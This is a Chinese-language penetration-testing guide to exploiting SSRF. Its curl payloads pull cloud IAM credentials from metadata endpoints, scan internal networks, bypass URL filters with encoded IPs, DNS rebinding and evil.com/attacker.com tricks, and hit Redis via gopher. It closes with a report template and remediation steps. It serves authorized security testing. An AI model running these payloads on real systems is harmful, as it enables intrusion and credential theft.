exploiting-server-side-request-forgery

# 利用服务器端请求伪造漏洞（Exploiting Server-Side Request Forgery）

## 适用场景

- 在授权渗透测试中，当应用程序获取用户提供的 URL 时（Webhook、URL 预览、文件导入）
- 测试云托管应用程序对实例元数据服务的访问权限时
- 评估 PDF 生成器、截图服务或任何渲染外部内容的功能时
- 评估微服务架构中通过 SSRF 访问内部服务的风险时
- 在安全评估接受 URL 参数进行数据获取的 API 时

## 前置条件

- **授权**：包含 SSRF 测试范围的书面渗透测试协议
- **Burp Suite Professional**：配合 Collaborator 进行带外检测
- **interactsh**：开源 OOB 交互服务器（`go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest`）
- **SSRFmap**：自动化 SSRF 利用框架（`git clone https://github.com/swisskyrepo/SSRFmap.git`）
- **curl**：用于手动 SSRF 载荷测试
- **目标基础设施知识**：云提供商（AWS、GCP、Azure）、内部 IP 范围

## 工作流程

### 步骤 1：识别 SSRF 易受攻击的功能

映射所有发起服务器端 HTTP 请求的应用功能。

```bash
# 常见 SSRF 易受攻击的功能：
# - URL 预览/展开（类似 Slack 的链接预览）
# - Webhook 配置端点
# - 从 URL 导入文件（从 URL 导入 CSV）
# - 从 URL 生成 PDF/截图
# - 从 URL 获取图片/头像
# - RSS/Feed 聚合
# - OAuth 回调 URL
# - API 代理/网关功能

# 使用 Burp Collaborator 测试 URL 参数
# 将 URL 值替换为 Collaborator 载荷
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
  "https://target.example.com/api/webhooks"

# 测试各种参数名中的 URL
for param in url uri link href src dest redirect callback webhook \
  image_url avatar_url feed_url import_url proxy_url; do
  echo "测试参数：$param"
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done
```

### 步骤 2：访问云实例元数据

测试针对云提供商元数据服务的 SSRF 载荷。

```bash
# AWS EC2 元数据（IMDSv1）
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://target.example.com/api/fetch-url"

# AWS - 获取 IAM 角色凭证
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/fetch-url"

# GCP 元数据
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

# Azure 元数据
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
  "https://target.example.com/api/fetch-url"

# DigitalOcean 元数据
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/v1/"}' \
  "https://target.example.com/api/fetch-url"
```

### 步骤 3：通过 SSRF 扫描内部网络

利用 SSRF 漏洞发现内部服务和端口。

```bash
# 内部网络扫描 - 常见私有地址段
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
    echo -n "$ip:$port -> "
    response=$(curl -s --max-time 3 -X POST \
      -H "Content-Type: application/json" \
      -d "{\"url\":\"http://$ip:$port/\"}" \
      "https://target.example.com/api/fetch-url")
    echo "$response" | head -c 100
    echo
  done
done

# Kubernetes 内部服务
for svc in kubernetes.default.svc \
  kubernetes-dashboard.kubernetes-dashboard.svc \
  kube-dns.kube-system.svc; do
  curl -s --max-time 3 -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://$svc/\"}" \
    "https://target.example.com/api/fetch-url"
done

# 访问内部管理面板
for path in /admin /console /actuator/env /server-status /_cat/indices; do
  curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
    "https://target.example.com/api/fetch-url"
done
```

### 步骤 4：绕过 SSRF 过滤器和白名单

当基本载荷被拦截时，使用绕过技术。

```bash
# 127.0.0.1 的 IP 地址编码绕过
PAYLOADS=(
  "http://127.0.0.1/"
  "http://0177.0.0.1/"          # 八进制
  "http://0x7f.0.0.1/"          # 十六进制
  "http://2130706433/"           # 十进制
  "http://127.1/"                # 简短形式
  "http://0/"                    # 零
  "http://[::1]/"                # IPv6 回环
  "http://0.0.0.0/"              # 所有接口
  "http://localtest.me/"         # DNS 解析到 127.0.0.1
  "http://spoofed.burpcollaborator.net/"  # DNS 重绑定
  "http://127.0.0.1.nip.io/"    # 通配符 DNS
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "$payload -> "
  curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
    -X POST -H "Content-Type: application/json" \
    -d "{\"url\":\"$payload\"}" \
    "https://target.example.com/api/fetch-url"
  echo
done

# URL 解析绕过
# 嵌入凭证：http://expected.com@evil.com/
# 片段：http://evil.com#expected.com
# URL 编码：http://127.0.0.%31/
# 重定向链：http://attacker.com/redirect?url=http://127.0.0.1

# 协议绕过
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"file:///etc/passwd"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"dict://127.0.0.1:6379/info"}' \
  "https://target.example.com/api/fetch-url"
```

### 步骤 5：利用 SSRF 进行影响升级

将 SSRF 与内部服务结合以最大化影响。

```bash
# 通过 gopher 协议访问 Redis
# 构造 gopher 载荷通过 Redis 设置 Webshell
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# 仅用于授权测试

# 访问 Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
  "https://target.example.com/api/fetch-url"

# 从 Elasticsearch 读取数据
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
  "https://target.example.com/api/fetch-url"

# 访问内部 Jenkins
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8080/script"}' \
  "https://target.example.com/api/fetch-url"

# AWS：从 IAM 角色获取临时凭证
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
  "https://target.example.com/api/fetch-url"
# 返回：AccessKeyId、SecretAccessKey、Token
```

### 步骤 6：测试盲 SSRF 和 DNS 重绑定

适用于响应不返回给攻击者的情况。

```bash
# 基于时间分析的盲 SSRF 检测
# 比较可访问端口和不可访问端口的响应时间
time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:22/"}' \
  "https://target.example.com/api/fetch-url"

time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:12345/"}' \
  "https://target.example.com/api/fetch-url"

# DNS 重绑定攻击
# 1. 搭建一个交替响应的 DNS 服务器：
#    - 首次查询：返回攻击者 IP（通过白名单）
#    - 第二次查询：返回 127.0.0.1（针对内部服务）
# 2. 使用 rbndr.us 等重绑定服务

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
  "https://target.example.com/api/fetch-url"
# rbndr.us 在两个编码 IP 之间交替响应 DNS 查询
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **SSRF** | 服务器端请求伪造（Server-Side Request Forgery）——使服务器向非预期目标发送请求 |
| **盲 SSRF（Blind SSRF）** | 响应不返回给攻击者的 SSRF，需要带外检测 |
| **云元数据（Cloud Metadata）** | 暴露凭证和配置信息的实例元数据服务（169.254.169.254） |
| **Gopher 协议** | 允许传输原始 TCP 数据的协议，可用于攻击内部服务 |
| **DNS 重绑定（DNS Rebinding）** | 通过切换 IP 解析绕过 SSRF 主机名白名单的 DNS 攻击 |
| **TOCTOU** | 检查时间与使用时间的竞态条件，存在于 URL 验证中 |
| **IMDSv2** | AWS 元数据服务 v2，需要会话令牌，可缓解基本 SSRF |
| **开放重定向链（Open Redirect Chain）** | 利用开放重定向绕过 SSRF 过滤器中的 URL 白名单 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | 请求修改及使用 Collaborator 进行盲 SSRF 检测 |
| **SSRFmap** | 支持多协议的自动化 SSRF 利用框架 |
| **interactsh** | 用于盲 SSRF 的带外交互检测 |
| **Gopherus** | 生成用于利用内部服务的 gopher 载荷 |
| **rbndr.us** | 用于 SSRF 过滤器绕过的 DNS 重绑定服务 |
| **singularity** | 用于自动化利用的 DNS 重绑定攻击框架 |

## 常见场景

### 场景 1：Webhook URL SSRF 获取 AWS 凭证
Webhook 配置端点允许指定回调 URL。将其指向 `http://169.254.169.254/latest/meta-data/iam/security-credentials/` 可返回临时 AWS IAM 凭证，用于访问 S3 存储桶和其他 AWS 服务。

### 场景 2：PDF 生成器 SSRF
从 URL 生成 PDF 的功能会发起服务器端请求。将 `http://127.0.0.1:8080/admin` 作为 URL，会生成一个包含内部管理面板内容的 PDF。

### 场景 3：图片 URL SSRF 配合协议绕过
头像 URL 字段对 HTTP/HTTPS 进行了过滤，但接受 `file://` 协议。使用 `file:///etc/passwd` 作为头像 URL，服务器会读取本地文件并将内容包含在响应中。

### 场景 4：盲 SSRF 攻击内部 Redis
URL 获取功能不返回响应内容，只确认成功/失败。使用 gopher 协议载荷向内部 Redis 实例写入数据，实现远程代码执行。

## 输出格式

```
## SSRF 漏洞发现报告

**漏洞**：服务器端请求伪造（完全 SSRF）
**严重性**：严重（CVSS 9.1）
**位置**：POST /api/webhooks - `callback_url` 参数
**OWASP 类别**：A10:2021 - 服务器端请求伪造

### 复现步骤
1. 发送 POST /api/webhooks，将 callback_url 设置为 http://169.254.169.254/latest/meta-data/
2. 服务器向 AWS 元数据端点发起请求
3. 响应包含 AWS 实例元数据，包括 IAM 角色名称
4. 后续请求 IAM 凭证端点以获取临时访问密钥

### 已确认访问
| 目标 | 协议 | 响应 |
|--------|----------|----------|
| 169.254.169.254（AWS 元数据） | HTTP | IAM 凭证已获取 |
| 127.0.0.1:6379（Redis） | Gopher | 命令已执行 |
| 127.0.0.1:9200（Elasticsearch） | HTTP | 索引列表已获取 |
| 10.0.0.5:8080（内部 API） | HTTP | 管理面板可访问 |

### 影响
- AWS IAM 临时凭证已泄露（S3 读写权限）
- 内部 Redis 服务器可访问（潜在 RCE）
- 内部 Elasticsearch 数据已暴露（用户记录）
- 完整的内网扫描能力

### 修复建议
1. 实施严格的 URL 白名单（仅允许已知可信域名）
2. 封锁对私有 IP 段的请求（10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16）
3. 升级到 AWS IMDSv2（需要会话令牌头）
4. 禁用未使用的 URL 协议（gopher、file、dict、ftp）
5. 使用专用出站代理处理服务器端请求，并控制 DNS 解析
```